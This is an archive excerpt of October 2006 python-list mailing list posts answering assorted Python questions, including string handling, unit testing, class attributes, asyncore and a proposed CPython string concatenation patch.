In-Reply-To: <ei4l99$7tb$1@sea.gmane.org>
References: <mailman.1163.1161770037.11739.python-list@python.org>	<1161772147.307847.65630@h48g2000cwc.googlegroups.com>	<87y7r4mwso.fsf@benfinney.id.au>	<453F5401.3020607@helsinki.fi>	<87pscgmrp1.fsf@benfinney.id.au>
	<4545D637.6000205@helsinki.fi> <ei4l99$7tb$1@sea.gmane.org>
Message-ID: <4545ECD1.2070500@helsinki.fi>

Fredrik Lundh wrote:
> Alistair King wrote:
>
>   
>> Is there any other way of removing double and single quotes from a
>> number, as a string, to give the float value again?
>>     
>
> help(str) describes what you can do with a string (an object of type 
> 'str', that is).  among the methods listed, you'll find:
>
>   
>>  |  strip(...)
>>  |      S.strip([chars]) -> string or unicode
>>  |
>>  |      Return a copy of the string S with leading and trailing
>>  |      whitespace removed.
>>  |      If chars is given and not None, remove characters in chars instead.
>>  |      If chars is unicode, S will be converted to unicode before stripping
>>     
>
> which looks like it should be pretty useful for this specific case:
>
>  >>> value = "'0.064250000000001084'"
>  >>> value
> "'0.064250000000001084'"
>  >>> value.strip("'")
> '0.064250000000001084'
>  >>> value.strip("'\"")
> '0.064250000000001084'
>  >>> float(value.strip("'\""))
> 0.064250000000001084
>
> </F>
>
>   
Thanks..

the code works great now. I know these things are quite simple to learn
from books etc.. but i would be lost without this mailinglist, from lack
of time. Hopefully soon i can give something more complicated.
I ended up doing the dictionary formatting properly and the new code is:
..............................................................................................................................
heavy = raw_input("\n\n@@@@@@@@@@@@@@@@@@\n\nPlease enter the heaviest
atom for which you obtained percentage values for, but not Oxygen or
Hydrogen, ie, 'C', 'N', 'S', 'Br'...: ")

def updateDS1v(Fxas, x):
if Fxas !=0 and DS1v.get(x)!=None:
value = DSvalues.get(heavy)
floatvalue = float(value)
atoms = DS1v.get(x) + Fxas*floatvalue
else:
value = DSvalues.get(heavy)
floatvalue = float(value)
DS1v[x] = Fxas*floatvalue

updateDS1v(FCas, 'C')
updateDS1v(FHas, 'H')
updateDS1v(FOas, 'O')
updateDS1v(FNas, 'N')
updateDS1v(FSas, 'S')
updateDS1v(FClas, 'Cl')
updateDS1v(FBras, 'Br')
updateDS1v(FZnas, 'Zn')

..............................................................................................................................
it works perfectly now

thanks for the help

a

-- 
Dr. Alistair King
Research Chemist,
Laboratory of Organic Chemistry,
Department of Chemistry,
Faculty of Science
P.O. Box 55 (A.I. Virtasen aukio 1)
FIN-00014 University of Helsinki
Tel. +358 9 191 50392, Mobile +358 (0)50 5279446
Fax +358 9 191 50366 



From mike$#at^&nospam!%trauschus  Fri Oct 27 08:23:16 2006
From: mike$#at^&nospam!%trauschus (Michael B. Trausch)
Date: Fri, 27 Oct 2006 08:23:16 -0400
Subject: Tracing the execution of scripts?
In-Reply-To: <mailman.1316.1161917350.11739.python-list@python.org>
References: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com>	<20061027023353.20948.138215951.divmod.quotient.1674@ohm>
	<mailman.1316.1161917350.11739.python-list@python.org>
Message-ID: <dsCdne45_d6rZ9zYnZ2dnUVZ_tidnZ2d@comcast.com>

Ben Finney wrote:
> Jean-Paul Calderone <exarkun at divmod.com> writes:
> 
>> 1) Write unit tests for your code.  Keep writing unit tests until
>> you have some that _don't pass_.  Then fix your code so that they
>> do.  When you do further development, write the tests first, then
>> implement the code that makes them pass.
> 
> Hear hear.
> 
> Be advised, though, that attempting to apply unit tests to code that
> wasn't designed with testing in mind may very quickly reveal a poor
> design. [0] If you can't easily test pieces of the code independently,
> you probably haven't written those pieces to be loosely coupled and
> well-defined.
>

I will whole-heartedly admit that my code is probably poorly designed.
*shrug*  Though, I *do* try to write everything in such a way as to be
able to easily re-use it later.  When I wrote little things just to help
me sysadmin, I learned that was really key to making my life easier.

Besides, I am lazy... reuse certainly serves my needs there!  :-)

> 
> The moral? Writing unit tests *along with* the functional code will
> result in a design that is loosely coupled, and probably
> better-defined. Also, hopefully, easy to test :-)
> 

I think I have more to learn on the concept of unit-testing.  I have
never seen a group push the idea so hard.  I have read about unit
testing before, and even written tests (in other languages) to test
modules of library code that I put together once, but that was about it.
 I need to, I think, get more "into" the concept, though.  It isn't
something that I am able to just whip out and go "Hey, a widget unit
test!  And it works!" probably because of my own lack of practice.

> 
> [0] I have no idea whether this is the case for the OP. It's a very
> common symptom that arises from people who are first advised to
> introduce tests to their code, though.
> 

It is very likely that it is the case.  I am, by all means, what I could
consider to be a novice programmer when it comes to anything outside of
my little world of PHP.  I can write web applications in PHP until the
cows come home with little to no problem, and I can play with SQL the
same way.  But, I seem to have problems when I step out of that little
box, and so, that tells me that I need to work harder at it.  :-)

	-- Mike


From onurb at xiludom.gro  Mon Oct 16 12:03:15 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 16 Oct 2006 18:03:15 +0200
Subject: Web Hosting
In-Reply-To: <1160893959.465993.138820@i42g2000cwa.googlegroups.com>
References: <1160893959.465993.138820@i42g2000cwa.googlegroups.com>
Message-ID: <4533ad45$0$23107$426a34cc@news.free.fr>

Sir Psycho wrote:
> Hi,
> 
> With web hosting, does the ISP you chose have to support the framework
> you work with as well?

It at least has to support a reasonable way to deploy an application
using the said framework - now what this implies depends on the choosen
framework.

> Im looking at making a site in Python, however, Im lost as to what ISPs
> actually support. Some ISPs say they support Python so does that mean
> if I wanted to use TurboGears It would just work anyway?
> 
> If an ISP just mentions Python support, does it mean CGI only
> scripting?

It really depends on the ISP. You have to check on case by case basis.

> I always assumed a framework was just a set of libraries you import
> into your project and things just start working...like a jar file in
> Java.

Things may get a bit more complicated when it comes to web applications.
FWIW, I'm not sure you can deploy any web applications in Java without a
(distinct, long-running process) application server... In the very worst
case, Python has at least CGI support (now why would anyone go for an
ISP that doesn't provide a better Python support is another question !-).




-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From horpner at yahoo.com  Wed Oct 18 06:56:14 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Wed, 18 Oct 2006 10:56:14 GMT
Subject: python's OOP question
References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>
	<mailman.550.1160965386.11739.python-list@python.org>
	<1160965758.324644.131920@i42g2000cwa.googlegroups.com>
	<mailman.551.1160968738.11739.python-list@python.org>
	<1160969393.803021.274070@e3g2000cwe.googlegroups.com>
	<45334fa9$0$5656$426a74cc@news.free.fr>
	<1160991239.541020.115320@m7g2000cwm.googlegroups.com>
	<453382b6$0$8601$426a74cc@news.free.fr>
	<1161054047.278803.241040@h48g2000cwc.googlegroups.com>
	<4534a656$0$19612$426a74cc@news.free.fr>
	<1161159369.957887.285370@m73g2000cwd.googlegroups.com>
Message-ID: <iLnZg.7186$5i7.1472@newsreading01.news.tds.net>

On 2006-10-18, neoedmund <neoedmund at gmail.com> wrote:
> ivestgating the web, i found something similiar with my approch:
> http://en.wikipedia.org/wiki/Duck_typing
> "Duck-typing avoids tests using type() or isinstance(). Instead, it
> typically employs hasattr() tests"

It's pity it didn't get called quack typing. One ckecks if
some unknown noun can quack, not if a duck can do something
unknown.

-- 
Neil Cerutti


From johnzenger at gmail.com  Wed Oct 11 12:01:35 2006
From: johnzenger at gmail.com (johnzenger at gmail.com)
Date: 11 Oct 2006 09:01:35 -0700
Subject: Regular expression worries
References: <1160581598.414778.11850@h48g2000cwc.googlegroups.com>
Message-ID: <1160582495.595880.68870@h48g2000cwc.googlegroups.com>

You are opening the same file twice, reading its contents line-by-line
into memory, replacing "Document" with "Doc" *in memory*, never writing
that to disk, and then discarding the line you just read into memory.

If your file is short, you could read the entire thing into memory as
one string using the .read() method of fh (your file object).  Then,
call .replace on the string, and then write to disk.

If your file is long, then you want to do the replace line by line,
writing as you go to a second file.  You can later rename that file to
the original file's name and delete the original.

Also, you aren't using regular expressions at all.  You do not
therefore need the re module.

CSUIDL PROGRAMMEr wrote:
> folks
> I am new to python, so excuse me if i am asking stupid questions.
>
> I have a txt file  and here are some lines of it
>
> Document<Keyword<date:2006-08-19> Keyword<time:11:00:43>
> Keyword<username:YOURBOTNICK> Keyword<data:localhost.localdomain>
> Keyword<logon:localhost.localdomain
>   > Keyword<date:2006-08-19> Keyword<time:11:00:44> Keyword<sender:>
> Keyword<receiver:> Keyword<data::+iwx> Keyword<mode::+iwx
>
> I am writing a python program to replace the tags and word  Document
> with Doc.
>
> Here is my python program
>
> #! /usr/local/bin/python
>
> import sys
> import string
> import re
>
> def replace():
>   filename='/root/Desktop/project/chatlog_20060819_110043.xml.txt'
>   try:
>     fh=open(filename,'r')
>   except:
>     print 'file not opened'
>     sys.exit(1)
>   for  l in
> open('/root/Desktop/project/chatlog_20060819_110043.xml.txt'):
>
>       l=l.replace("Document", "DOC")
>       fh.close()
>
> if __name__=="__main__":
>   replace()
>
> But it does not replace Document with Doc in  the txt file
> 
> Is there anything wrong i am doing
> 
> thanks



From fredrik at pythonware.com  Thu Oct 19 15:17:38 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 19 Oct 2006 21:17:38 +0200
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <eh8fqo$6ab$1@solaris.cc.vt.edu>
References: <136ED738BD4F1545B97E4AC06FF6370734BEEE@DMSP-MSG-EVS01.mail.pvt>	<mailman.775.1161281220.11739.python-list@python.org>
	<eh8fqo$6ab$1@solaris.cc.vt.edu>
Message-ID: <eh8j0j$qv4$2@sea.gmane.org>

rick wrote:

>> Well, there you go!  Apparently, your wet paper bag has no "detect a 
>> palendrome" exit.  While you're installing such an egress to your soggy 
>> dead-tree satchel, you could also provide similar "write a binary 
> 
> Glad you guys are enjoying this. We're getting off-topic and I think my 
> point is being lost to jest.
> 
> As humans, we know very little. But one of the basics of our knowledge 
> is order or sequence. 1,2,3,4 is natural so is 4,3,2,1 (count down to 
> blast off for example). When we put our shirt on inside-out or watch 
> someone moon walk (Micheal Jackson) it's immediately obvious and easy to 
> see that the sequence is reversed. Backwards is pure, simple and easy. 
> This is not so in Python and it should be.

     natural = 1, 2, 3, 4
     for item in reversed(natural):
         print item
     print "badabom!"

 > That's all I have to day about that.

thank you.

</F>



From cjw at sympatico.ca  Sun Oct  1 09:45:44 2006
From: cjw at sympatico.ca (Colin J. Williams)
Date: Sun, 01 Oct 2006 09:45:44 -0400
Subject: PATCH: Speed up direct string concatenation by 20+%!
In-Reply-To: <1159495643.213830.289620@m7g2000cwm.googlegroups.com>
References: <1159495643.213830.289620@m7g2000cwm.googlegroups.com>
Message-ID: <efogq8$d2q$1@sea.gmane.org>

Congratulations on the clear way in which you have set out your proposal.

I hope that it will make its way to PEPdom.

Colin W.

Larry Hastings wrote:
> This is such a long posting that I've broken it out into sections.
> Note that while developing this patch I discovered a Subtle Bug
> in CPython, which I have discussed in its own section below.
> 
> ____________
> THE OVERVIEW
> 
> I don't remember where I picked it up, but I remember reading years
> ago that the simple, obvious Python approach for string concatenation:
>         x = "a" + "b"
> is slow.  Obviously it's fine for the simple case above, but if you're
> adding together twenty-five things:
>         x =  a + b + c + d + ... + y
> the performance is terrible, as the interpreter creates temporary
> objects
> for each intermediate result.  (a + b, then (a + b) + c,
> then ((a + b) + c) + d, and so on.)
> 
> The suggested idiom for fast string concatenation was this:
>         x = "".join([a, b, c, d, ... y])
> This works fine.  But I don't like this approach, not only because it's
> kind of ugly and inobvious, but because it violates the "one obvious
> way
> to do it" principle.
> 
> I mentioned all this to a friend of mine (Mike Thornburgh), and told
> him matter-of-factly that I'd like to fix this, but the design of
> Python
> simply precluded it.  He said "no it doesn't!" and proceeded to
> describe
> in great detail an approach to permit fast string concatenation using
> +.
> I have implemented what he suggested--with only slight changes--and
> present it to you below.  I only had to touch four files, and only did
> major surgery on one.  The resulting Python passes the test suite as
> well
> as my unmodified locally-built Python 2.5.  (I didn't install the
> external
> source trees for stuff like SQLite, so it fails those tests.)
> 
> Note that times have changed; using Python 2.5, a + b + c isn't *that*
> much slower than "".join([]).  But is is still slower.  Or, was--with
> my
> patch, a + b + c becomes *the fastest method* for string concatenation.
> Hooray!
> 
> (It didn't pay off as *much* as I'd hoped, but it's still an
> improvement.)
> 
> _________
> THE PATCH
> 
> The core concept: adding two strings together no longer returns a pure
> "string" object.  Instead, it returns a "string concatenation" object
> which holds references to the two strings but does not actually
> concatenate
> them... yet.  The strings are concatenated only when someone requests
> the
> string's value, at which point it allocates all the space it needs and
> renders the concatenated string all at once.
> 
> More to the point, if you add multiple strings together (a + b + c),
> it *doesn't* compute the intermediate strings (a + b).
> 
> Upsides to this approach:
> 
>         * String concatenation using + is now the fastest way to
> concatenate
>           strings (that I know of).
> 
>         * Throw off the shackles of "".join([]), you don't need it
> anymore.
> 
>         * Did I mention it was faster?
> 
> Downsides to this approach:
> 
>         * Changes how PyStringObjects are stored internally; ob_sval is
> no
>           longer a char[1], but a char *.  This makes each StringObject
>           four bytes larger.
> 
>         * Adds another memory dereference in order to get the value of
>           a string, which is a teensy-weensy slowdown.
> 
>         * Would force a recompile of all C modules that deal directly
>           with string objects (which I imagine is most of them).
> 
>         * Also, *requires* that C modules use the PyString_AS_STRING()
>           macro, rather than casting the object and grabbing ob_sval
>           directly.  (I was pleased to see that the Python source
>           was very good about using this macro; if all Python C
>           modules are this well-behaved, this point is happily moot.)
> 
>         * On a related note, the file Mac/Modules/MacOS.c implies
>           that there are Mac-specific Python scripts that peer
>           directly into string objects.  These would have to be
>           changed to understand the new semantics.
> 
>         * String concatenation objects are 36 bytes larger than
>           string objects, and this space will often go unreclaimed
>           after the string is rendered.
> 
>         * When rendered, string concatenation objects storing long
>           strings will allocate a second buffer from the heap to
>           store the string.  So this adds some minor allocation
>           overhead (though this is offset by the speed gain from
>           the approach overall).
> 
>         * Will definitely need some heavy review before it could
>           go in, in particular I worry I got the semantics surrounding
>           "interned" strings wrong.
> 
> 
> Internally, a "string concatenation" object is the same as a "string"
> object with two extra fields: an array of references to string objects
> (and string concatenation objects), and a count.  Also, ob_sstate now
> stores a third flag, indicating whether or not the string is a string
> concatenation object.  External users don't need to worry about these
> details, they just use PyString_AS_STRING() and all is well with their
> world.
> 
> I've already added some optimizations to the approach:
> 
>         * If you're adding a string to an existing string concatenation
>           object whose reference count is 1, who isn't full, and who
>           hasn't been rendered yet, it adds the string directly to the
>           existing concatenation object (rather than creating a new
> one).
>           This works whether the existing object is on the right or the
>           left side.
> 
>         * The general case is a + b + c ..., where you're only adding
>           strings to the *end*.  This will build a degenerate tree
> where
>           the first slot points to the child.  The tree for
> concatenating
>           the first twenty-two letters of the alphabet would look like
> this:
> 
>                 [0 1 2 3 4 5 6 7]
>                  | | | | | | | |
>                  | v v v v v v v
>                  | p q r s t u v
>                  |
>                  v
>                 [0 1 2 3 4 5 6 7]
>                  | | | | | | | |
>                  | v v v v v v v
>                  | i j k l m n o
>                  |
>                  v
>                 [0 1 2 3 4 5 6 7]
>                  | | | | | | | |
>                  v v v v v v v v
>                  a b c d e f g h
> 
>           The rendering function is by necessity recursive.  However,
>           it is optimized for this shape; when the tree looks like
> this,
>           it will be rendered purely iteratively--no recursion.
> 
>         * If, after rendering, the resulting string will be small
> enough
>           to fit inside the extra space normally used by the
> concatenation
>           object, the final string will be copied on top of this
> otherwise
>           now-wasted space.
> 
> ______________
> THE BENCHMARKS
> 
> Benchmark 1:
>         def add(a, b, c, ... t): return a + b + c + ... + t
>         for i in range(10000000): add("aaa", "bbb", "ccc", ..., "ttt")
> Benchmark 2:
>         for i in range(10000000): x = "aaa" + "bbb" + "ccc" + ... +
> "ttt"
> Benchmark 3:
>         for i in range(10000000): x = "".join(["aaa", "bbb", "ccc",
> ..., "ttt"])
> Benchmark 4:
>         for i in range(10000000):
>                 x = "aaa"
>                 x += "bbb"
>                 x += "ccc"
>                 ...
>                 x += "ttt"
> Benchmark 5:
>         for i in range(10000000):
>                 array = []
>                 array.append("aaa")
>                 array.append("bbb")
>                 array.append("ccc")
>                 ...
>                 array.append("ttt")
>                 x = "".join(array)
> Benchmark 6:
>         for i in range(10000000):
>                 x = cStringIO.StringIO()
>                 x.write("aaa")
>                 x.write("bbb")
>                 x.write("ccc")
>                 ...
>                 x.write("ttt")
> 
> Benchmark | 2.5 release | 2.5 locally built | 2.5 modified | %
> improvement
>         1 |       32.1s |             32.8s |        26.7s |
> 22.8%
>         2 |       18.7s |             18.7s |        15.1s |
> 23.8%
>         3 |       16.1s |             16.2s |        16.6s |
> -1.1%
>         4 |       64.6s |             64.0s |        57.1s |
> 12.1%
>         5 |       74.1s |             79.4s |        76.7s |
> 3.5%
>         6 |      126.0s |  too slow, didn't bother!
> 
> ______________
> THE SUBTLE BUG
> 
> While developing this patch, I discovered a subtle bug in Python.
> It happened only on one gruesome test in the middle of test_descr.py.
> The problem was: '' == '' was returning False.
> 
> Starting on line 1116 of stringobject.c we have this:
> 
> 	if (op == Py_EQ) {
> 		/* Supporting Py_NE here as well does not save
> 		   much time, since Py_NE is rarely used.  */
> 		if (a->ob_size == b->ob_size
> 		    && (a->ob_sval[0] == b->ob_sval[0]
> 			&& memcmp(a->ob_sval, b->ob_sval,
> 				  a->ob_size) == 0)) {
> 			result = Py_True;
> 		} else {
> 			result = Py_False;
> 		}
> 		goto out;
> 	}
> 
> The bug is with the "a->ob_sval[0] == b->ob_sval[0]".  This is
> apparently
> a speed optimization; check that the first byte is the same before
> proceeding with the memcmp(). But it does this even when *both* strings
> are *zero length*!  I doubt the Python source tree has an official
> position on what the first byte of a zero-length string should be, but
> I assert that it should be undefined.  In practice, it's seemingly
> always
> set to the same value in the released Python, but with my changes it's
> now possible for them to be different.
> 
> I think it's sinful to compare the first bytes of zero-length strings.
> Therefore I suggest this bugfix:
> 
> 		if (a->ob_size == b->ob_size
> /* >> change >> */  && ( (!a->ob_size || a->ob_sval[0] ==
> b->ob_sval[0])
> 			&& memcmp(a->ob_sval, b->ob_sval,
> 
> I've already incorporated this fix in my code.
> 
> __________
> THE FUTURE
> 
> If this patch is accepted, it paves the way for another cheap
> optimization: string slices could be done without copying.
> Add another field into the PyString structure: a reference
> to another PyString *.  If non-NULL, it means the local ob_sval
> actually points into the ob_sval owned by that other PyString *.
> It'd be another four bytes, but we'd only need to incur that
> when creating a slice; we could set a bit in ob_sstate indicating
> "this is a slice", and if so we'd have to copy-on-write ob_sval,
> and free the reference when the object was destroyed.
> 
> ______________
> THE SUBMISSION
> 
> I don't know the protocol from this point out; should I email the patch
> somewhere?  Put it up on a web page?  Post some diff output?  (Or just
> forget about it entirely?)
> 
> Also, for what it's worth: I fixed the .dsp so pythoncore builds under
> VC6 again.  I would be happy to submit that separately.  (What can I
> say, old habits die hard.  I can't stand the newer Microsoft IDEs.)
> 
> 
> Cheers,
> 
> 
> /larry/
> 
> p.s. No, I haven't looked at a Unicode port yet.  If there's interest
> in
> this patch at all, I might take a stab at it.
> 



From f.braennstroem at gmx.de  Fri Oct 27 08:21:17 2006
From: f.braennstroem at gmx.de (Fabian Braennstroem)
Date: Fri, 27 Oct 2006 14:21:17 +0200
Subject: change keybindings for pygtk treeview
Message-ID: <ehstjt$m5b$1@sea.gmane.org>

Hi,

I am just testing pygtk/glade out and wonder, if I am able
to change the keybindings. E.g. the treeview searches by
default for the entries beginning with the typed keystroke;
moving to the next row works as usual with the Down key. Now
I would like to change the key bindings to e.g. 'j' to move
to the next row (just like in vim) and to use a 'Ctrl' key
combination to search for a certain word beginning with the
typed key stroke.
Is it anyhow possible with pygtk? Would be nice, if somebody
can point my to a small example.

Greetings!
 Fabian



From fredrik at pythonware.com  Wed Oct 18 11:17:12 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 18 Oct 2006 17:17:12 +0200
Subject: MemoryError - IMAP retrieve self._sock.recv(recv_size)
In-Reply-To: <20061018144912.29621.qmail@web88206.mail.re2.yahoo.com>
References: <20061018144912.29621.qmail@web88206.mail.re2.yahoo.com>
Message-ID: <eh5gho$s9c$2@sea.gmane.org>

Stephen G wrote:

> I am hesitant to make any changes to the python libraries as
 > I need to distribute these scripts with a standard Python install.

well, you could at least check if the suggestions in that thread makes 
the problem go away...

(if so, shipping a patched version with your program is trivial).

</F>



From gagsl-py at yahoo.com.ar  Thu Oct 19 13:09:11 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 19 Oct 2006 14:09:11 -0300
Subject: Converting existing module/objects to threads
In-Reply-To: <1161226896.308336.263570@k70g2000cwa.googlegroups.com>
References: <1161219746.574285.188930@m7g2000cwm.googlegroups.com>
	<mailman.730.1161223803.11739.python-list@python.org>
	<1161226896.308336.263570@k70g2000cwa.googlegroups.com>
Message-ID: <7.0.1.0.0.20061019134634.05a3eac8@yahoo.com.ar>

At Thursday 19/10/2006 00:01, jdlists at gmail.com wrote:

> > Consider using the asyncore module instead of threads.
>
>I think that is a good point and I am considering using
>asyncore/asynchat...  i'm a little confused as to how i can make this
>model work.  There is no server communication without connection from
>the client (me), which happens on intervals, not when data is available
>on a socket or when the socket is available to be written, which is
>always.  Basically i need to determine how to trigger the asynchat
>process based on time.  in another application that i write, i'm the
>server and the chat process happens every time the client wakes
>up...easy and perfect for asyncore
>
>That is a solution i'd like to persue, but am having a hard time
>getting my head around that as well.

You have to write your own dispatcher (inheriting from async_chat) as 
any other protocol. You can call asyncore.loop whith count=1 (or 10, 
but not None, so it returns after a few iterations) inside your *own* 
loop. Inside your loop, when time comes, call 
your_dispatcher.push(data) so the channel gets data to be sent. 
Override collect_incoming_data() to get the response.
You can keep your pending requests in a priority queue (sorted by 
time) and check the current time against the top element's time.

Maybe you could successfully implement your application using threads 
- if none uses global variables, and no thread waits for another, it 
may be safe. But I prefer to avoid threads whenever possible, at 
least because debugging the application becomes harder.


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From faulkner612 at comcast.net  Sat Oct  7 18:58:10 2006
From: faulkner612 at comcast.net (faulkner)
Date: 7 Oct 2006 15:58:10 -0700
Subject: Painless way to do 3D visualization
In-Reply-To: <4oqohkFfm09vU1@uni-berlin.de>
References: <4oqohkFfm09vU1@uni-berlin.de>
Message-ID: <1160261890.778808.216180@h48g2000cwc.googlegroups.com>

http://www.vpython.org/

Peter Beattie wrote:
> Hey folks,
>
> I need to do the following relatively simple 3D programming:
>
> I want to convert data from four-item tuples into 3D co-ordinates in a
> regular tetrahedron. Co-ordinates come in sequences of 10 to 20, and the
> individual dots in the tetrahedron need to be connected into
> discontinuous lines. A single tetrahedron should contain at least two,
> possibly more, such lines. I would like to show certain similarities in
> the sequences/lines, eg by changing color, thickness, or maybe attaching
> indeces to certain points in a particular sequence.
>
> I'd welcome suggestions as to what might be the most painless way to
> achieve this in Python. So far, I've only tinkered a little with
> VPython, but the lack of any decent documentation has proved to be a
> major turn-off.
> 
> TIA!
> 
> -- 
> Peter



From email at christoph-haas.de  Mon Oct  9 15:24:09 2006
From: email at christoph-haas.de (Christoph Haas)
Date: Mon, 9 Oct 2006 21:24:09 +0200
Subject: Newbie - Stuck
In-Reply-To: <1160309372.750331.8140@m7g2000cwm.googlegroups.com>
References: <1160309372.750331.8140@m7g2000cwm.googlegroups.com>
Message-ID: <200610092124.10986.email@christoph-haas.de>

On Sunday 08 October 2006 14:09, r3bol at yahoo.com wrote:
> The perl version of this code works but not the python version. What am
> I doing wrong?
>
> message = "abc"
> password = "z12"
>
> scrambled = message ^ password

"abc" XOR "z12"? Strings don't have an __xor__ method.

> I also wondered why this errored as well...
>
> int(messege)
>
> Is it not meant to convert a string to a number?

If you were Python how would you convert "abc" to a number? :)

Yes, I know Perl makes "0" from anything that doesn't look like a number 
but Python's principle is to never hide errors while Perl makes certain 
assumptions. So Python prefers to complain.

 Christoph


From bignose+hates-spam at benfinney.id.au  Mon Oct 23 23:23:18 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Tue, 24 Oct 2006 13:23:18 +1000
Subject: Trouble with property
References: <1161646086.830038.51080@m7g2000cwm.googlegroups.com>
	<mailman.1030.1161652621.11739.python-list@python.org>
	<1161653614.832977.325570@e3g2000cwe.googlegroups.com>
Message-ID: <87k62qs8gp.fsf@benfinney.id.au>

"Odalrick" <odalrick at hotmail.com> writes:

> Gabriel Genellina skrev:
>
> > You must use a new-style class for properties to work. That is:
> > class ConstrainedBox(object):
>
> Thank you, I've seen it mentioned, but never knew what it meant.

More generally, a "new-style class" is important in this instance
because it inherits, directly or indirectly, from a built-in type,
becoming part of the main class hierarchy.

There are very few reasons to use old-style classes these days (and I
don't know what those reasons are anymore). Avoid them unless you know
you want them for some specific reason.

-- 
 \      "I got some new underwear the other day. Well, new to me."  -- |
  `\                                                       Emo Philips |
_o__)                                                                  |
Ben Finney



From scott.daniels at acm.org  Sat Oct 14 12:08:43 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Sat, 14 Oct 2006 09:08:43 -0700
Subject: Can I set up a timed callback without Tkinter or twisted or
	something?
In-Reply-To: <mailman.512.1160840172.11739.python-list@python.org>
References: <mailman.512.1160840172.11739.python-list@python.org>
Message-ID: <45310353$1@nntp0.pdx.net>

Hendrik van Rooyen wrote:
> I want to do the equivalent of the after thingy in tkinter - setting up in
> effect a timed call back.
> 
> My use case is as a "supervisory" timer - I want to set up an alarm, which I
> want to cancel if the expected occurrence occurs - but its not a GUI app.

Use a thread that uses something like:
       def action():
           sleep(50)
           if not canceled:
               callback(foo)
as its action.

The callback ill be in another thread, but ....  Look up threading for
more details.


--Scott David Daniels
scott.daniels at acm.org


From simon at brunningonline.net  Thu Oct  5 15:20:32 2006
From: simon at brunningonline.net (Simon Brunning)
Date: Thu, 5 Oct 2006 20:20:32 +0100
Subject: How do I read Excel file in Python?
In-Reply-To: <8c7f10c60610051203m37c5e1f6l40cb4f52cd2ede29@mail.gmail.com>
References: <1160057474.600863.239360@k70g2000cwa.googlegroups.com>
	<1160061718.605057.243590@h48g2000cwc.googlegroups.com>
	<1160067650.709670.71460@e3g2000cwe.googlegroups.com>
	<1160069137.525290.90000@m73g2000cwd.googlegroups.com>
	<8c7f10c60610051203m37c5e1f6l40cb4f52cd2ede29@mail.gmail.com>
Message-ID: <8c7f10c60610051220s56599b6cyc6a4b75fad8da873@mail.gmail.com>

On 10/5/06, Simon Brunning <simon at brunningonline.net> wrote:
> On 5 Oct 2006 10:25:37 -0700, Matimus <mccredie at gmail.com> wrote:
> > > the date( 8/9/2006 ) in Excel file, i am getting the value as 38938.0,
> > > which I get when I convert date values to general format in Excel. I
> > > want the actual date value. How do get that?
> >
> > 38938 appears to be the date in days since 1/1/1900. I'm sure someone
> > can help you figure out how to convert that to a more useful value.
>
> >>> excel_date = 38938.0
> >>> python_date = datetime.date(1900, 1, 1) + datetime.timedelta(days=excel_date)
> >>> python_date
> datetime.date(2006, 8, 11)

Err, that's the wrong answer, isn't it? Perhaps it shoud be
datetime.date(1900, 1, 29)?

-- 
Cheers,
Simon B
simon at brunningonline.net
http://www.brunningonline.net/simon/blog/


From h.trammel at insightbb.com  Thu Oct  5 11:21:05 2006
From: h.trammel at insightbb.com (FatherAntox)
Date: 5 Oct 2006 08:21:05 -0700
Subject: MySQLdb for Python 2.5
In-Reply-To: <451e25f3$0$25620$9b622d9e@news.freenet.de>
References: <5_ednYPtY9vSSoDYnZ2dnUVZ_rqdnZ2d@insightbb.com>
	<451e25f3$0$25620$9b622d9e@news.freenet.de>
Message-ID: <1160061665.096861.313340@b28g2000cwb.googlegroups.com>


Martin v. L?wis wrote:
> Harold Trammel schrieb:
> > Does anyone know the status of a version of MySQLdb that will work with
> > Python 2.5?
>
> AFAICT, MySQLdb 1.2.1 builds and works just fine.
>
> Regards,
> Martin

Hi Martin,

What is your setup as I am receiving a number of "Cannot open ..."
errors related to various msysql libraries and includes?  I am running
in a Windows XP environment with MySQL 5.1.  Thanks in advance.

Harold



From antoine at vo.lu  Tue Oct 10 14:42:32 2006
From: antoine at vo.lu (Antoine De Groote)
Date: Tue, 10 Oct 2006 20:42:32 +0200
Subject: Is a list static when it's a class member?
In-Reply-To: <1160505300.141637.40170@i3g2000cwc.googlegroups.com>
References: <1160505300.141637.40170@i3g2000cwc.googlegroups.com>
Message-ID: <452be966$1@news.vo.lu>

glue wrote:
> I have a class with a list member and the list seems to behave like
> it's static while other class members don't. The code...
> 
> class A:
>     name = ""
>     data = []
>     def __init__(self, name):
>         self.name = name
>     def append(self, info):
>         self.data.append(info)
>     def enum(self):
>         for x in self.data:
>             print "\t%s" % x
> 
> a = A("A:")
> print a.name
> a.append("one")
> a.append("two")
> a.enum()
> b = A("B:")
> print b.name
> b.append("horse")
> b.append("bear")
> b.enum()
> print a.name
> a.enum()
> 
> The output...
> A:
> 	one
> 	two
> B:
> 	one
> 	two
> 	horse
> 	bear
> A:
> 	one
> 	two
> 	horse
> 	bear
> 
> How do i get:
> A:
>         one
>         two
> B:
>         horse
>         bear
> A:
>         one
>         two
> 
> Thanks,
> 
> glue
> 


I can already tell you that this does it:

class A:
     name = ""
     def __init__(self, name):
         self.data = []
         self.name = name
     def append(self, info):
         self.data.append(info)
     def enum(self):
         for x in self.data:
             print "\t%s" % x

Somebody else can explain the reason. I just don't wanna write something 
that I'm not sure of. :-)

Regards,
antoine


From jbellis at gmail.com  Wed Oct 25 14:56:28 2006
From: jbellis at gmail.com (Jonathan Ellis)
Date: 25 Oct 2006 11:56:28 -0700
Subject: ANN: Diamanda Wiki and MyghtyBoard Forum Test 1
In-Reply-To: <1161801113.950400.169650@i3g2000cwc.googlegroups.com>
